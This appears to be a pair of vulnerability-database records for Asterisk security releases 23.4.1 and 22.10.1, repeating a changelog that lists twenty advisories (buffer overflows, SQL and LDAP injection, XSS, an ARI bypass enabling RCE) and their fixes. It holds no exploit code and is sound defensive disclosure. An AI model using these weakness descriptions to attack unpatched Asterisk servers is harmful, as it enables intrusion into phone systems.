- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
### Commit Details:
#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
Author: ThatTotallyRealMyth
Date: 2026-03-19
The ast_tsconvert.py script called by ast_loggrabber is now installed in a
temporary directory that isn't world readable or writable.
Resolves: #GHSA-xgj6-2gc5-5x9c
#### chan_unistim.c: Prevent overrun of phone_number field.
Author: George Joseph
Date: 2026-06-15
Add a check to key_dial_page() to ensure that dialed digits won't overrun
the phone_number field.
Resolves: #GHSA-3g56-cgrh-95p5
#### ooh323c: not checking for IE minimum length
Author: Mike Bradeen
Date: 2022-06-06
When decoding q.931 encoded calling/called number
now checking for length being less than minimum required.
Resolves: #GHSA-h5hv-jmgj-92q2
#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
Author: George Joseph
Date: 2026-06-12
The REST over WebSocket path now properly prevents non-GET methods from
being executed on inbound WebSockets.
* The query parameters from the original incoming GET request that caused the
upgrade to WebSocket are now passed to all REST requests that come from the
client. This ensures that if the client authenticated with a read-only
userid using the "api_key" query_string parameter, REST requests coming
in over the WebSocket will only be able to execute GETs on resources.
The HTTP headers were already passed to the REST requests so if the
client had authenticated via an "Authorization" it was properly handled.
* New tests have been added to test_ari.c to check that read-only users
are properly denied access to resources using non-GET methods. Several
memory leaks were also squashed.
Resolves: #GHSA-wcvv-g26m-wx5c
#### pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
Author: George Joseph
Date: 2026-06-10
The filter_on_tx_message() function was using pj_strassign() to save the pointer
of the pjproject transport local address to a local pj_str_t variable. That
variable was ultimately used to set the Contact header's uri->host and the SDP
connection attribute's address again
Severity
No CVSS data available.
Assigner
References
30 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Asterisk | Security Release |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0359 (this record)
- related CVE-2022-37325
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"value": "The Asterisk Development Team would like to announce security release \nAsterisk 23.4.1.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/23.4.1\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 23.4.1\n\n\n## Change Log for Release asterisk-23.4.1\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-23.4.1.html) \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/23.4.0...23.4.1) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-23.4.1.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk) \n\n### Summary:\n\n- Commits: 19\n- Commit Authors: 6\n- Issues Resolved: 0\n- Security Advisories Resolved: 20\n - [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim \nDIALPAGE digit handling can overflow phone_number and crash Asterisk\n - [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer \nDereference in HTTP AMI Digest Authentication\n - [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS \nin Phone Provisioning HTTP Error Pages\n - [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer \noverflow in MWI NOTIFY Message-Account parsing\n - [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds \nRead in Q.931 Information Element Parser (H.323 Addon)\n - [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer \nOverflow in OGG/Speex File Playback (format_ogg_speex)\n - [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer \nover-read in Asterisk PJSIP MWI body parser\n - [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6): \nHeap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing\n - [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325 \nfix is absent from current chan_ooh323 Q.931 party-number parser\n - [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED \nT.140 Generation Accumulation OOB Write\n - [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer \noverflow in res_xmpp XMPP namespace prefix handling\n - [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection \nin cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk \napp_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds \nWrite in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter \nInjection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)\n - [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED \nT.140 Heap Buffer Overflow\n - [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI \nsetChannelVar bypasses live_dangerously and permits FILE() writes\n - [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI \nREST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer \nOverflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber \nexecutes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE\n\n### User Notes:\n\n\n### Upgrade Notes:\n\n\n### Developer Notes:\n\n- #### ARI: Make ARI applications respect live_dangerously.\n ARI applications can no longer call \"dangerous\" dialplan\n functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without\n enabling \"live_dangerously\" in asterisk.conf.\n Resolves: #GHSA-vrfp-mg3q-3959\n\n\n### Commit Authors:\n\n- George Joseph: (6)\n- Mike Bradeen: (3)\n- Milan Kyselica: (7)\n- Pengpeng Hou: (1)\n- Roberto Paleari: (1)\n- ThatTotallyRealMyth: (1)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk\n - !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication\n - !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages\n - !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing\n - !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)\n - !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)\n - !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser\n - !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP \nprocessing\n - !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser\n - !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write\n - !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling\n - !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information \nDisclosure)\n - !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow\n - !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes\n - !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to \npotential privilege escalation And RCE\n\n### Commits By Author:\n\n- #### George Joseph (6):\n - chan_unistim.c: Prevent overrun of phone_number field.\n - res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n - pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n - ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n - ARI: Make ARI applications respect live_dangerously.\n - res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n\n- #### Mike Bradeen (3):\n - ooh323c: not checking for IE minimum length\n - manager: Use remote address in user error logging\n - ooh323: Prevent potential buffer overflow in trace logging\n\n- #### Milan Kyselica (7):\n - res_xmpp: Fix stack buffer overflow in namespace prefix handling\n - res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n - res_config_ldap: Escape LDAP filter values per RFC 4515\n - cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n - http: Escape error page text to prevent reflected XSS\n - codec_codec2: Only process complete Codec2 frames in decoder\n - format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n- #### Pengpeng Hou (1):\n - app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n\n- #### Roberto Paleari (1):\n - res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n\n- #### ThatTotallyRealMyth (1):\n - ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n\n### Commit List:\n\n- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n- chan_unistim.c: Prevent overrun of phone_number field.\n- ooh323c: not checking for IE minimum length\n- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n- ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n- ARI: Make ARI applications respect live_dangerously.\n- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n- manager: Use remote address in user error logging\n- ooh323: Prevent potential buffer overflow in trace logging\n- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n- res_xmpp: Fix stack buffer overflow in namespace prefix handling\n- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n- res_config_ldap: Escape LDAP filter values per RFC 4515\n- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n- http: Escape error page text to prevent reflected XSS\n- codec_codec2: Only process complete Codec2 frames in decoder\n- format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n### Commit Details:\n\n#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n Author: ThatTotallyRealMyth\n Date: 2026-03-19\n\n The ast_tsconvert.py script called by ast_loggrabber is now installed in a\n temporary directory that isn\u0027t world readable or writable.\n\n Resolves: #GHSA-xgj6-2gc5-5x9c\n\n#### chan_unistim.c: Prevent overrun of phone_number field.\n Author: George Joseph\n Date: 2026-06-15\n\n Add a check to key_dial_page() to ensure that dialed digits won\u0027t overrun\n the phone_number field.\n\n Resolves: #GHSA-3g56-cgrh-95p5\n\n#### ooh323c: not checking for IE minimum length\n Author: Mike Bradeen\n Date: 2022-06-06\n\n When decoding q.931 encoded calling/called number\n now checking for length being less than minimum required.\n\n Resolves: #GHSA-h5hv-jmgj-92q2\n\n#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n Author: George Joseph\n Date: 2026-06-12\n\n The REST over WebSocket path now properly prevents non-GET methods from\n being executed on inbound WebSockets.\n\n * The query parameters from the original incoming GET request that caused the\n upgrade to WebSocket are now passed to all REST requests that come from the\n client. This ensures that if the client authenticated with a read-only\n userid using the \"api_key\" query_string parameter, REST requests coming\n in over the WebSocket will only be able to execute GETs on resources.\n The HTTP headers were already passed to the REST requests so if the\n client had authenticated via an \"Authorization\" it was properly handled.\n\n * New tests have been added to test_ari.c to check that read-only users\n are properly denied access to resources using non-GET methods. Several\n memory leaks were also squashed.\n\n Resolves: #GHSA-wcvv-g26m-wx5c\n\n#### pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n Author: George Joseph\n Date: 2026-06-10\n\n The filter_on_tx_message() function was using pj_strassign() to save the pointer\n of the pjproject transport local address to a local pj_str_t variable. That\n variable was ultimately used to set the Contact header\u0027s uri-\u003ehost and the SDP\n connection attribute\u0027s address again "
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GCVE-1988-2026-0358
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:33
VLAI
EPSS
VEX
Title
Asterisk Security Release 22.10.1
Summary
The Asterisk Development Team would like to announce security release
Asterisk 22.10.1.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/22.10.1
and
https://downloads.asterisk.org/pub/telephony/asterisk
Repository: https://github.com/asterisk/asterisk
Tag: 22.10.1
## Change Log for Release asterisk-22.10.1
### Links:
- [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-22.10.1.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/22.10.0...22.10.1)
- [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-22.10.1.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)
### Summary:
- Commits: 19
- Commit Authors: 6
- Issues Resolved: 0
- Security Advisories Resolved: 20
- [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim
DIALPAGE digit handling can overflow phone_number and crash Asterisk
- [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer
Dereference in HTTP AMI Digest Authentication
- [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS
in Phone Provisioning HTTP Error Pages
- [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer
overflow in MWI NOTIFY Message-Account parsing
- [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds
Read in Q.931 Information Element Parser (H.323 Addon)
- [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer
Overflow in OGG/Speex File Playback (format_ogg_speex)
- [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer
over-read in Asterisk PJSIP MWI body parser
- [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6):
Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing
- [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325
fix is absent from current chan_ooh323 Q.931 party-number parser
- [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED
T.140 Generation Accumulation OOB Write
- [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer
overflow in res_xmpp XMPP namespace prefix handling
- [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection
in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk
app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds
Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter
Injection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)
- [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED
T.140 Heap Buffer Overflow
- [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI
setChannelVar bypasses live_dangerously and permits FILE() writes
- [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI
REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer
Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber
executes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE
### User Notes:
### Upgrade Notes:
### Developer Notes:
- #### ARI: Make ARI applications respect live_dangerously.
ARI applications can no longer call "dangerous" dialplan
functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without
enabling "live_dangerously" in asterisk.conf.
Resolves: #GHSA-vrfp-mg3q-3959
### Commit Authors:
- George Joseph: (6)
- Mike Bradeen: (3)
- Milan Kyselica: (7)
- Pengpeng Hou: (1)
- Roberto Paleari: (1)
- ThatTotallyRealMyth: (1)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk
- !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication
- !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages
- !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing
- !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)
- !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)
- !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser
- !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP
processing
- !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser
- !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write
- !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling
- !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information
Disclosure)
- !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow
- !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes
- !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to
potential privilege escalation And RCE
### Commits By Author:
- #### George Joseph (6):
- chan_unistim.c: Prevent overrun of phone_number field.
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- #### Mike Bradeen (3):
- ooh323c: not checking for IE minimum length
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- #### Milan Kyselica (7):
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
- #### Pengpeng Hou (1):
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- #### Roberto Paleari (1):
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- #### ThatTotallyRealMyth (1):
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
### Commit List:
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
- chan_unistim.c: Prevent overrun of phone_number field.
- ooh323c: not checking for IE minimum length
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
### Commit Details:
#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
Author: ThatTotallyRealMyth
Date: 2026-03-19
The ast_tsconvert.py script called by ast_loggrabber is now installed in a
temporary directory that isn't world readable or writable.
Resolves: #GHSA-xgj6-2gc5-5x9c
#### chan_unistim.c: Prevent overrun of phone_number field.
Author: George Joseph
Date: 2026-06-15
Add a check to key_dial_page() to ensure that dialed digits won't overrun
the phone_number field.
Resolves: #GHSA-3g56-cgrh-95p5
#### ooh323c: not checking for IE minimum length
Author: Mike Bradeen
Date: 2022-06-06
When decoding q.931 encoded calling/called number
now checking for length being less than minimum required.
Resolves: #GHSA-h5hv-jmgj-92q2
#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
Author: George Joseph
Date: 2026-06-12
The REST over WebSocket path now properly prevents non-GET methods from
being executed on inbound WebSockets.
* The query parameters from the original incoming GET request that caused the
upgrade to WebSocket are now passed to all REST requests that come from the
client. This ensures that if the client authenticated with a read-only
userid using the "api_key" query_string parameter, REST requests coming
in over the WebSocket will only be able to execute GETs on resources.
The HTTP headers were already passed to the REST requests so if the
client had authenticated via an "Authorization" it was properly handled.
* New tests have been added to test_ari.c to check that read-only users
are properly denied access to resources using non-GET methods. Several
memory leaks were also squashed.
Resolves: #GHSA-wcvv-g26m-wx5c
#### pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
Author: George Joseph
Date: 2026-06-10
The filter_on_tx_message() function was using pj_strassign() to save the pointer
of the pjproject transport local address to a local pj_str_t variable. That
variable was ultimately used to set the Contact header's uri->host and the SDP
connection attribute's addres
Severity
No CVSS data available.
Assigner
References
30 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Asterisk | Security Release |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0358 (this record)
- related CVE-2022-37325
{
"containers": {
"cna": {
"affected": [
{
"product": "Security Release",
"vendor": "Asterisk",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Asterisk Development Team via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Asterisk Development Team would like to announce security release \nAsterisk 22.10.1.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/22.10.1\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 22.10.1\n\n\n## Change Log for Release asterisk-22.10.1\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-22.10.1.html) \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/22.10.0...22.10.1) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-22.10.1.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk) \n\n### Summary:\n\n- Commits: 19\n- Commit Authors: 6\n- Issues Resolved: 0\n- Security Advisories Resolved: 20\n - [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim \nDIALPAGE digit handling can overflow phone_number and crash Asterisk\n - [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer \nDereference in HTTP AMI Digest Authentication\n - [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS \nin Phone Provisioning HTTP Error Pages\n - [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer \noverflow in MWI NOTIFY Message-Account parsing\n - [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds \nRead in Q.931 Information Element Parser (H.323 Addon)\n - [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer \nOverflow in OGG/Speex File Playback (format_ogg_speex)\n - [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer \nover-read in Asterisk PJSIP MWI body parser\n - [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6): \nHeap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing\n - [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325 \nfix is absent from current chan_ooh323 Q.931 party-number parser\n - [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED \nT.140 Generation Accumulation OOB Write\n - [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer \noverflow in res_xmpp XMPP namespace prefix handling\n - [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection \nin cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): 